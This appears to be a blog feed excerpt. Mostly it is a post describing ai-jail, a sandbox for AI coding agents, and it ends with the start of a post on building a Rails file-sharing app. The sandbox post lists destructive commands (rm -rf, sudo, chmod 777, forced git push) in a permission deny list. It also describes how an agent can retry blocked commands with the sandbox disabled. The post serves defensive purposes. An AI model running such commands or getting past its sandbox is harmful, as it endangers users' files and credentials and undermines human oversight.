<p>Landlock is a different case. It doesn&rsquo;t replace bubblewrap — it has nothing to do with namespaces or mount isolation. But it complements. Landlock is a Linux Security Module that controls access at the VFS level, independent of mount namespaces. That closes vectors bwrap alone doesn&rsquo;t cover: escape paths through <code>/proc</code>, symlink tricks inside permitted mounts, and it serves as a safety net against bugs in the namespace machinery itself. As of v0.4.0, ai-jail applies Landlock automatically on kernels 5.13+ as defense-in-depth. It uses ABI V3 (Linux 6.2+) with graceful degradation to V1 on older kernels, and turns into a silent no-op if the kernel doesn&rsquo;t support it. If it causes problems with some specific tool, <code>--no-landlock</code> turns it off.</p>
<p>Bubblewrap hits the exact sweet spot: real isolation without root, on every distro, and simple enough to wrap in an 880KB binary.</p>
<h2>What the Sandbox Does on Linux<span class="hx:absolute hx:-mt-20" id="what-the-sandbox-does-on-linux"></span>
    <a href="#what-the-sandbox-does-on-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>When you run <code>ai-jail claude</code>, this is what happens:</p>
<p>The agent runs in isolated PID, UTS and IPC namespaces, with hostname <code>ai-sandbox</code>, and dies automatically if the parent dies (<code>--die-with-parent</code>).</p>
<p>The filesystem is mounted in a specific sequence (bubblewrap is order-dependent). <code>/usr</code>, <code>/etc</code>, <code>/opt</code>, <code>/sys</code> come in read-only for system tools. <code>/dev</code> and <code>/proc</code> are mounted for device and process access. <code>/tmp</code> and <code>/run</code> come in as fresh tmpfs. GPUs auto-detected (<code>/dev/nvidia*</code>, <code>/dev/dri</code>). Docker socket, X11/Wayland, <code>/dev/shm</code>, all auto-detected and mounted if they exist.</p>
<p>The most important part is how the home directory is handled. <code>$HOME</code> is mounted as an empty tmpfs. Then, selectively, dotfiles get layered on top. <code>.gnupg</code>, <code>.aws</code>, <code>.ssh</code>, <code>.mozilla</code>, <code>.sparrow</code> are never mounted (sensitive data). <code>.claude</code>, <code>.crush</code>, <code>.codex</code>, <code>.aider</code>, <code>.config</code>, <code>.cargo</code>, <code>.cache</code>, <code>.docker</code> come in as read-write because the agents need to write here. Everything else comes in read-only. Inside <code>~/.config</code>, browser subdirectories are hidden behind tmpfs: <code>BraveSoftware</code>, <code>Bitwarden</code>. Same in <code>~/.cache</code>: <code>BraveSoftware</code>, <code>chromium</code>, <code>spotify</code>, <code>nvidia</code>. The agent can&rsquo;t even see those directories exist.</p>
<p>The current project directory is the only place with write permission (besides the tool dotdirs). The agent modifies the code, but doesn&rsquo;t touch anything else.</p>
<h2>macOS: sandbox-exec<span class="hx:absolute hx:-mt-20" id="macos-sandbox-exec"></span>
    <a href="#macos-sandbox-exec" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On macOS, the backend is <code>sandbox-exec</code> with SBPL (Sandbox Profile Language) profiles. It&rsquo;s a legacy Apple API, officially deprecated but with no public replacement. It works today, but Apple may remove it in the future.</p>
<p>ai-jail generates an SBPL profile at runtime that mirrors the same logic as Linux:</p>
<ul>
<li>Default deny on everything</li>
<li>Allows process operations (exec, fork, signal)</li>
<li>Allows network (except in lockdown)</li>
<li>Allows global reads, denies sensitive paths (<code>.gnupg</code>, <code>.aws</code>, <code>.ssh</code>, <code>~/Library/Keychains</code>, <code>~/Library/Mail</code>)</li>
<li>Allows writes only in the project directory, tool dotfiles, and <code>/tmp</code></li>
</ul>
<p>The limitations are real. GPU (Metal) and Display (Cocoa) are system-level on macOS, sandbox-exec can&rsquo;t restrict them. The <code>--no-gpu</code> and <code>--no-display</code> flags simply have no effect on macOS. Cross-platform parity is approximate, not exact.</p>
<p>Even with those limitations, it&rsquo;s better than running the agent completely open. sandbox-exec protects against access to sensitive filesystem areas and, in lockdown, removes write and network permissions.</p>
<h2>Windows: Not Supported (And Probably Never Will Be)<span class="hx:absolute hx:-mt-20" id="windows-not-supported-and-probably-never-will-be"></span>
    <a href="#windows-not-supported-and-probably-never-will-be" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>It&rsquo;s not for lack of interest, it&rsquo;s lack of primitives. Windows has no userspace equivalent to Linux namespaces. No mount API like bubblewrap. AppContainers exist but use a completely different security model, require admin privileges, and mapping bwrap functionality to AppContainers would effectively mean writing another project from scratch.</p>
<p>The Windows answer is WSL 2:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Inside WSL 2 (real Linux kernel)</span>
</span></span><span class="line"><span class="cl">sudo apt install bubblewrap
</span></span><span class="line"><span class="cl">cargo install ai-jail
</span></span><span class="line"><span class="cl"><span class="c1"># or: mise use -g ubi:akitaonrails/ai-jail</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> /mnt/c/Users/you/Projects/my-app
</span></span><span class="line"><span class="cl">ai-jail claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>WSL 2 runs an actual Linux kernel. Bubblewrap works normally. Windows files are accessible at <code>/mnt/c/</code>. I/O performance is slower across the 9p mount, but it works. For large projects, cloning inside <code>~/Projects/</code> on the Linux side improves performance considerably.</p>
<h2>Lockdown Mode<span class="hx:absolute hx:-mt-20" id="lockdown-mode"></span>
    <a href="#lockdown-mode" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>For workloads you really don&rsquo;t trust, there&rsquo;s <code>--lockdown</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail --lockdown bash</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Lockdown does everything normal mode does, but goes further. The project gets mounted read-only (not read-write). GPU, Docker, Display and mise are disabled. <code>--rw-map</code> and <code>--map</code> flags are ignored. <code>$HOME</code> becomes pure tmpfs, no host dotfiles. On Linux, the network is cut with <code>--unshare-net</code> and the environment is wiped with <code>--clearenv</code>. On macOS, environment variables are wiped and write and network rules are removed from the SBPL.</p>
<p>It&rsquo;s the most restrictive sandbox you can build short of using a VM. Useful for auditing third-party code or running agents on projects you don&rsquo;t know.</p>
<h2>Bootstrap: Automatic Permission Configuration<span class="hx:absolute hx:-mt-20" id="bootstrap-automatic-permission-configuration"></span>
    <a href="#bootstrap-automatic-permission-configuration" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><code>ai-jail --bootstrap</code> generates permission configurations for the tools you use:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail --bootstrap</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>For <strong>Claude Code</strong>, it generates <code>~/.claude/settings.json</code> with allow/deny/ask lists. Allows git status, diff, log, ls, grep, cargo, npm, python, docker compose. Blocks rm -rf, sudo, chmod 777, git push &ndash;force. Asks before git push, rm, docker run.</p>
<p>For <strong>Codex</strong>, it generates <code>~/.codex/config.toml</code> with <code>approval_policy = &quot;on-request&quot;</code>.</p>
<p>For <strong>OpenCode</strong>, it generates <code>~/.config/opencode/opencode.json</code> with bash, edit, write permissions.</p>
<p>Before overwriting any file, it makes an automatic backup (<code>settings.json.bak</code>). And it rejects operations if the target is a symlink, to avoid path traversal.</p>
<p>It&rsquo;s exactly the content I put in manually in the <a href="/en/2026/01/10/ai-agents-locking-down-your-system/">previous post</a>, but automated and tested.</p>
<h2>But Claude Code Already Has Its Own Sandbox<span class="hx:absolute hx:-mt-20" id="but-claude-code-already-has-its-own-sandbox"></span>
    <a href="#but-claude-code-already-has-its-own-sandbox" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>It does. Since October 2025, Claude Code has offered a runtime sandbox via the <code>/sandbox</code> command. And guess what it uses underneath? Bubblewrap on Linux and sandbox-exec on macOS. The same stack.</p>
<p>But the differences matter.</p>
<p>ai-jail is tool-agnostic. It works with Claude, Codex, OpenCode, Crush, and any command. Claude&rsquo;s sandbox only protects Claude. If tomorrow you switch agents, ai-jail keeps working the same.</p>
<p>The thing that bothers me most is the escape hatch. When a command fails because of a sandbox restriction, Claude can retry with <code>dangerouslyDisableSandbox</code>, falling back to the normal permission flow. You can disable that (<code>&quot;allowUnsandboxedCommands&quot;: false</code>), but it&rsquo;s opt-out, not opt-in. In ai-jail, there is no escape hatch. The process runs inside bwrap or sandbox-exec, period. There&rsquo;s no way for the agent to decide on its own to leave the sandbox.</p>
<p>Another practical difference: <code>.ai-jail</code> lives in the project directory and can be committed to the repo. Any dev who clones the project inherits the same sandbox policy. Claude&rsquo;s sandbox depends on a global <code>settings.json</code>.</p>
<p>When run inside Docker, Claude&rsquo;s sandbox falls back to an <code>enableWeakerNestedSandbox</code> mode that, in the words of its own documentation, <em>&ldquo;considerably weakens security&rdquo;</em>. ai-jail wasn&rsquo;t designed to run inside Docker (it runs directly on the dev&rsquo;s workstation), so this problem doesn&rsquo;t exist.</p>
<p>About the network: Claude&rsquo;s sandbox routes traffic through a proxy and allows/blocks by domain. ai-jail in normal mode inherits the host network; in lockdown, it cuts the entire network with <code>--unshare-net</code>. Claude&rsquo;s approach is more granular; ai-jail&rsquo;s is simpler and harder to circumvent.</p>
<p>The two aren&rsquo;t mutually exclusive. You can run Claude&rsquo;s sandbox inside ai-jail. ai-jail handles filesystem isolation; Claude&rsquo;s sandbox adds per-domain network filtering. Security layers stack.</p>
<h2>Why Not Use &ndash;dangerously-skip-permissions Without a Jail<span class="hx:absolute hx:-mt-20" id="why-not-use-dangerously-skip-permissions-without-a-jail"></span>
    <a href="#why-not-use-dangerously-skip-permissions-without-a-jail" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I&rsquo;ll be blunt: if you run Claude Code with <code>--dangerously-skip-permissions</code> without any sandbox, you&rsquo;re trusting blindly that the LLM will never execute anything destructive. And you&rsquo;re trusting that none of your project&rsquo;s dependencies has been compromised in a supply-chain attack.</p>
<p>Every <code>--dangerously</code> flag has that name for a reason. Claude Code is explicit: that mode exists for CI/CD and automation in environments that are already isolated (containers, throwaway VMs). Not for your personal workstation with <code>~/.aws/credentials</code>, <code>~/.gnupg/</code>, SSH keys, and your browser&rsquo;s password vault.</p>
<p>With ai-jail, the agent has total autonomy inside the sandbox. It does whatever it wants in the project directory, uses the tools it needs, and can&rsquo;t access anything outside what was explicitly permitted.</p>
<h2>ai-jail + Git: The Safety Net You Already Have<span class="hx:absolute hx:-mt-20" id="ai-jail--git-the-safety-net-you-already-have"></span>
    <a href="#ai-jail--git-the-safety-net-you-already-have" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s something I haven&rsquo;t mentioned yet that changes the risk calculus: if your project is in a Git repo, with a remote on GitHub/GitLab, and the agent doesn&rsquo;t have permission to <code>git push</code>, the damage it can cause is limited to the local directory.</p>
<p>Think about it. The worst-case scenario inside ai-jail is the agent corrupting every file in the project. Annoying? Sure. Catastrophic? No. You run <code>git checkout .</code> and you&rsquo;re back to the last commit. If it corrupts <code>.git</code> somehow (unlikely, but possible), you delete the directory and clone again. The remote was never touched.</p>
<p>That&rsquo;s why ai-jail&rsquo;s <code>--bootstrap</code> puts <code>git push</code> on the &ldquo;ask&rdquo; list (ask before running), not the &ldquo;allow&rdquo; list. And <code>git push --force</code> goes straight to &ldquo;deny&rdquo;. The agent can commit locally all it wants, can create branches, can rebase. None of that affects the remote. When it comes time to push, you review what it did and decide whether it goes live.</p>
<p>That combination, sandbox for the filesystem + Git for the code + manual push, already gives you a very reasonable security level for daily use. ai-jail protects your personal data and the system. Git protects your code. And the decision to publish stays yours.</p>
<p>If you want to go further, the next two sections cover additional layers.</p>
<h2>ai-jail vs Dev Containers<span class="hx:absolute hx:-mt-20" id="ai-jail-vs-dev-containers"></span>
    <a href="#ai-jail-vs-dev-containers" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Since I wrote ai-jail, the most frequent question is: <em>&ldquo;why not use Dev Containers?&rdquo;</em>. The short answer is that one doesn&rsquo;t replace the other. They solve different problems.</p>
<p>Dev Containers (the <a href="https://containers.dev"target="_blank" rel="noopener">containers.dev</a> spec) define a complete development environment in a <code>devcontainer.json</code>. You specify base image, tools, VS Code extensions, environment variables, and the editor mounts everything for you in a Docker container. Docker also recently launched Docker Sandboxes, which go further and run each agent in a microVM with Firecracker, with hardware isolation.</p>
<p>ai-jail does none of that. It doesn&rsquo;t define an environment. It doesn&rsquo;t install tools. It doesn&rsquo;t run a Docker image. It takes the environment that already exists on your machine and restricts what the process can access.</p>
<p>In practice, the difference is:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Dev Container</th>
          <th>ai-jail</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>What it does</td>
          <td>Defines and provisions a complete isolated environment</td>
          <td>Restricts process access to the existing filesystem</td>
      </tr>
      <tr>
          <td>Setup</td>
          <td><code>devcontainer.json</code> + Docker</td>
          <td><code>.ai-jail</code> TOML + bubblewrap</td>
      </tr>
      <tr>
          <td>Startup</td>
          <td>Seconds (image pull, container build)</td>
          <td>Milliseconds (fork + exec of bwrap)</td>
      </tr>
      <tr>
          <td>Tools</td>
          <td>Whatever you put in the image</td>
          <td>Whatever&rsquo;s already installed on your machine</td>
      </tr>
      <tr>
          <td>GPU</td>
          <td>Requires NVIDIA Container Toolkit configuration</td>
          <td>Auto-detects <code>/dev/nvidia*</code> and <code>/dev/dri</code></td>
      </tr>
      <tr>
          <td>Daemon</td>
          <td>Requires Docker daemon running</td>
          <td>Nothing besides bwrap</td>
      </tr>
      <tr>
          <td>Reproducibility</td>
          <td>High (fixed image)</td>
          <td>Depends on what&rsquo;s installed on the host</td>
      </tr>
      <tr>
          <td>Network isolation</td>
          <td>Docker Sandboxes: per-domain firewall</td>
          <td>Lockdown: cuts everything with <code>--unshare-net</code></td>
      </tr>
  </tbody>
</table>
<p>Dev Container makes more sense when you need the whole team to have exactly the same environment, or when the project has dependencies nobody wants to install on the host, or for running non-interactive agents in CI/CD. Docker Sandboxes with microVM are the strongest isolation that exists outside a dedicated VM.</p>
<p>ai-jail makes more sense when you already have the environment configured and want instant startup with no Docker daemon. Or when you use tools that are annoying to run inside a container (CUDA, Wayland, mise). Or simply when you want the same protection for any agent, not just the ones with devcontainer integration.</p>
<p>And you can combine them. I know people who run ai-jail inside a Dev Container to get environment reproducibility + filesystem restriction. Security layers stack.</p>
<h2>Immutable Operating Systems: The Last Layer<span class="hx:absolute hx:-mt-20" id="immutable-operating-systems-the-last-layer"></span>
    <a href="#immutable-operating-systems-the-last-layer" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you want to take security seriously, the third layer is the operating system itself.</p>
<p>Immutable systems like <a href="https://fedoraproject.org/atomic-desktops/silverblue/"target="_blank" rel="noopener">Fedora Silverblue</a>, <a href="https://nixos.org/"target="_blank" rel="noopener">NixOS</a>, and <a href="https://aeondesktop.github.io/"target="_blank" rel="noopener">openSUSE Aeon</a> have a read-only root filesystem. The base system can&rsquo;t be modified by any process, even with root. Updates are atomic: they either apply completely or not at all. And if something goes wrong, you roll back to the previous image in one reboot.</p>
<p>In practice, that means even if an AI agent escaped the sandbox (exploiting a kernel vulnerability, for example), it couldn&rsquo;t modify the system persistently. On the next reboot, the system returns to the declared state. On NixOS, the entire system is defined by a configuration file (<code>configuration.nix</code>). On Silverblue, the base is an OSTree image that gets atomic updates via <code>rpm-ostree</code>.</p>
<p>For developers, the catch is: your dev tools run in containers (Toolbox/Distrobox on Silverblue, <code>nix-shell</code> on NixOS). The base system stays untouched. Desktop apps come via Flatpak, which already runs in a sandbox. The result is that the host&rsquo;s attack surface is minimal.</p>
<p>Fedora Silverblue is probably the most accessible entry point. It&rsquo;s already Fedora underneath, with GNOME, works with hardware Fedora supports, and Toolbox gives you a containerized Fedora Server where you install whatever you want without touching the host. NixOS is more powerful (full reproducibility, declarative rollback), but the learning curve is real.</p>
<p>The full combination looks like this: the immutable OS handles the system (read-only filesystem, atomic updates, one-reboot rollback). ai-jail handles the session (isolated namespace, ephemeral home, sensitive data invisible). And Git handles the code (remote untouched as long as the agent doesn&rsquo;t have push).</p>
<p>None of those layers is perfect on its own. But the attack that punches through all three at the same time — escaping the namespace, persisting on a read-only filesystem, and corrupting a Git remote — is a scenario I&rsquo;d be comfortable calling unlikely.</p>
<p>The best part is that none of them requires changing how you work. ai-jail is one command before your agent. Git you already use. And an immutable OS is an installation, not a workflow change.</p>
<h2>Technical Details (For Those Who Care)<span class="hx:absolute hx:-mt-20" id="technical-details-for-those-who-care"></span>
    <a href="#technical-details-for-those-who-care" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Written in Rust with 124 tests and 4 dependencies: <code>lexopt</code> (CLI parsing without clap), <code>serde</code> + <code>toml</code> (config), <code>nix</code> (Unix syscalls). No async runtime, no color framework (raw ANSI), ~880KB binary with LTO and strip.</p>
<p>Signal handling is done correctly: SIGINT, SIGTERM, and SIGHUP are forwarded to the child process. The handler only calls <code>libc::kill</code>, which is async-signal-safe. Process reaping uses <code>waitpid</code> in a loop with retry on EINTR.</p>
<p>Temporary files (like the custom <code>/etc/hosts</code> the sandbox mounts) use RAII: a <code>SandboxGuard</code> that implements <code>Drop</code> in Rust. If the parent process dies for any reason, cleanup happens.</p>
<p>Configuration compatibility is guaranteed by development policy: never remove fields, never rename, new fields always with <code>#[serde(default)]</code>, unknown fields are silently ignored. Regression tests for old <code>.ai-jail</code> formats guarantee that updating the binary never breaks existing configs. There are 32 tests just for config.</p>
<h2>Roadmap<span class="hx:absolute hx:-mt-20" id="roadmap"></span>
    <a href="#roadmap" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>What&rsquo;s left:</p>
<ul>
<li>More tool backends in bootstrap: Aider, Cursor, Windsurf. As more agents standardize permission configuration files.</li>
<li>Profile sharing for monorepos, so you don&rsquo;t have to configure each service separately.</li>
</ul>
<h2>Installation and First Use (Quick Recap)<span class="hx:absolute hx:-mt-20" id="installation-and-first-use-quick-recap"></span>
    <a href="#installation-and-first-use-quick-recap" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># 1. Install</span>
</span></span><span class="line"><span class="cl">brew tap akitaonrails/tap <span class="o">&amp;&amp;</span> brew install ai-jail
</span></span><span class="line"><span class="cl"><span class="c1"># or: cargo install ai-jail</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 2. On Linux, install bubblewrap</span>
</span></span><span class="line"><span class="cl">sudo pacman -S bubblewrap  <span class="c1"># Arch</span>
</span></span><span class="line"><span class="cl"><span class="c1"># sudo apt install bubblewrap  # Debian/Ubuntu</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 3. Enter the project and run</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/my-app
</span></span><span class="line"><span class="cl">ai-jail claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 4. (Optional) Generate permission configs</span>
</span></span><span class="line"><span class="cl">ai-jail --bootstrap
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># 5. (Optional) See what the sandbox does</span>
</span></span><span class="line"><span class="cl">ai-jail --dry-run --verbose claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The <code>.ai-jail</code> file it creates can be committed to your repo. From then on, any dev who clones the project runs <code>ai-jail claude</code> and gets the same sandbox.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>January&rsquo;s shell script solved the problem. ai-jail solves the problem properly. Per-project config, macOS support, lockdown mode, permission bootstrap, dry-run for auditing, and an 880KB binary that installs in 10 seconds.</p>
<p>If you use AI agents to code, run them in a sandbox. The LLM&rsquo;s good intentions are no guarantee of anything, and supply-chain attacks don&rsquo;t pick their victims. Process isolation is the barrier that works.</p>
<p>The project is GPL-3.0 and is on GitHub: <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">github.com/akitaonrails/ai-jail</a></p>
<p>Issues and PRs are welcome.</p>
]]></content:encoded><category>ai-jail</category><category>coding-agents</category><category>security</category><category>rust</category></item><item><title>Vibe Code: I Built a Mega Clone in Rails in 1 Day for My Home Server</title><link>https://akitaonrails.github.io/en/2026/02/21/vibe-code-built-a-mega-clone-in-rails-in-1-day-frankmega/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/02/21/vibe-code-built-a-mega-clone-in-rails-in-1-day-frankmega/</guid><pubDate>Sat, 21 Feb 2026 18:48:25 +0000</pubDate><description>&lt;p&gt;I&amp;rsquo;ve wanted a private file sharing service on my home server for a long time. You know when you need to send someone a big file? &amp;ldquo;Ah, use Google Drive.&amp;rdquo; No. &amp;ldquo;WeTransfer?&amp;rdquo; Also no. I want full control. I want to know where my files are, how long they exist for, who downloaded them, and I don&amp;rsquo;t want to depend on a third-party service for something this simple.&lt;/p&gt;
&lt;p&gt;So I did what any programmer would do: sat down, wrote a spec document, and with the help of Claude Code (Claude Opus 4.6) I built &lt;a href="https://github.com/akitaonrails/FrankMega"target="_blank" rel="noopener"&gt;&lt;strong&gt;FrankMega&lt;/strong&gt;&lt;/a&gt;, a simplified, self-hosted Mega clone, in Rails 8, in a single day of work. 21 commits, 3 hours of active development, 210 tests, zero external dependencies beyond SQLite.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I&rsquo;ve wanted a private file sharing service on my home server for a long time. You know when you need to send someone a big file? &ldquo;Ah, use Google Drive.&rdquo; No. &ldquo;WeTransfer?&rdquo; Also no. I want full control. I want to know where my files are, how long they exist for, who downloaded them, and I don&rsquo;t want to depend on a third-party service for something this simple.</p>
<p>So I did what any programmer would do: sat down, wrote a spec document, and with the help of Claude Code (Claude Opus 4.6) I built <a href="https://github.com/akitaonrails/FrankMega"target="_blank" rel="noopener"><strong>FrankMega</strong></a>, a simplified, self-hosted Mega clone, in Rails 8, in a single day of work. 21 commits, 3 hours of active development, 210 tests, zero external dependencies beyond SQLite.</p>
<p><img src="https://github.com/akitaonrails/FrankMega/raw/master/docs/upload_screen.png" alt="frankmega"  loading="lazy" /></p>
<p>And before the smart guy shows up in the comments with &ldquo;ah, but Vibe Coding is just prompt engineering, anyone can do it&rdquo; &ndash; hold on. This post exists exactly to show that <strong>it isn&rsquo;t</strong>.</p>
<h2>From Idea to Code: the IDEA.md<span class="hx:absolute hx:-mt-20" id="from-idea-to-code-the-ideamd"></span>
    <a href="#from-idea-to-code-the-ideamd" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Every project starts with a document. Mine was <a href="https://github.com/akitaonrails/FrankMega/blob/master/docs/IDEA.md"target="_blank" rel="noopener"><code>docs/IDEA.md</code></a> &ndash; 56 lines describing what I wanted:</p>
<ul>
<li>Single file upload, with a shareable link</li>
<li>Download counter (default 5, configurable)</li>
<li>Automatic expiration within 24 hours</li>
<li>Full authentication: password + 2FA + passkeys</li>
<li>No public registration page &ndash; invites only</li>
<li>Admin creates invites, manages users, bans abusers</li>
<li>Aggressive rate limiting, automatic IP banning</li>
<li>Deploy via Docker + Cloudflare Tunnel on my home server</li>
<li>Stack: Rails 8, SQLite, Tailwind CSS, Hotwire/Stimulus</li>
</ul>
<p>I deliberately added at the end: <em>&ldquo;Suggest important features that may be relevant for a service like this.&rdquo;</em> Because I know a spec document never covers everything. And that&rsquo;s where the interesting part begins.</p>
<h2>The Big Bang: Commit #1<span class="hx:absolute hx:-mt-20" id="the-big-bang-commit-1"></span>
    <a href="#the-big-bang-commit-1" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The first commit (<code>e277226</code>) at 12:17 delivered <strong>207 files, 6,901 lines of code</strong>. In a single commit. Yes, I know it&rsquo;s controversial, but when you&rsquo;re building from scratch with AI, the first commit is necessarily huge.</p>
<p>What came in that initial commit:</p>
<ul>
<li>Full authentication with <code>has_secure_password</code> (bcrypt), TOTP via <code>rotp</code>, passkeys via <code>webauthn</code></li>
<li>Invitation system with unique codes and expiration</li>
<li>Full admin panel (Users, Invitations, Files, MIME Types)</li>
<li>Upload with Active Storage + drag-and-drop via Stimulus</li>
<li>Download links with 24-byte hashes (<code>SecureRandom.urlsafe_base64(24)</code>)</li>
<li>Rate limiting via Rack::Attack on every public endpoint</li>
<li>Automatic IP banning with a <code>Ban</code> model and async job</li>
<li>Dark/light theme with Tailwind CSS inspired by Mega.nz</li>
<li>73 tests (Minitest + FactoryBot)</li>
<li>Docker configuration with Puma + Thruster</li>
<li>Solid Queue/Cache/Cable &ndash; zero Redis</li>
</ul>
<p>Got it? <strong>All of that in commit #1</strong>. The IDEA.md became functional code in a single shot. But here&rsquo;s the point: <strong>the first commit was not production-ready</strong>. Not even close.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/frankmd/2026/02/screenshot-2026-02-21_15-32-29.png" alt="tema light"  loading="lazy" /></p>
<h2>The Reality: 20 Iteration Commits<span class="hx:absolute hx:-mt-20" id="the-reality-20-iteration-commits"></span>
    <a href="#the-reality-20-iteration-commits" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>After the Big Bang came 20 commits over 3 hours. And this is where the truth about software development lives, the one no &ldquo;Vibe Coding&rdquo; tutorial will tell you.</p>
<h3>Phase 1: &ldquo;Works on my machine&rdquo; (12:40 - 12:46)<span class="hx:absolute hx:-mt-20" id="phase-1-works-on-my-machine-1240---1246"></span>
    <a href="#phase-1-works-on-my-machine-1240---1246" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Four commits in 6 minutes. You know what happened? I went to build the Docker image and <strong>it broke</strong>. Missing <code>libssl-dev</code>. Fixed it. Then the CSP (Content Security Policy) from <code>secure_headers</code> clashed with the inline scripts from Rails&rsquo; importmap. Fixed it. Changed the port from 3000 to 3100 to avoid colliding with other services on my server.</p>
<p>Look at commit <code>389ebe8</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># CSP is now handled by the Rails built-in, not by secure_headers</span>
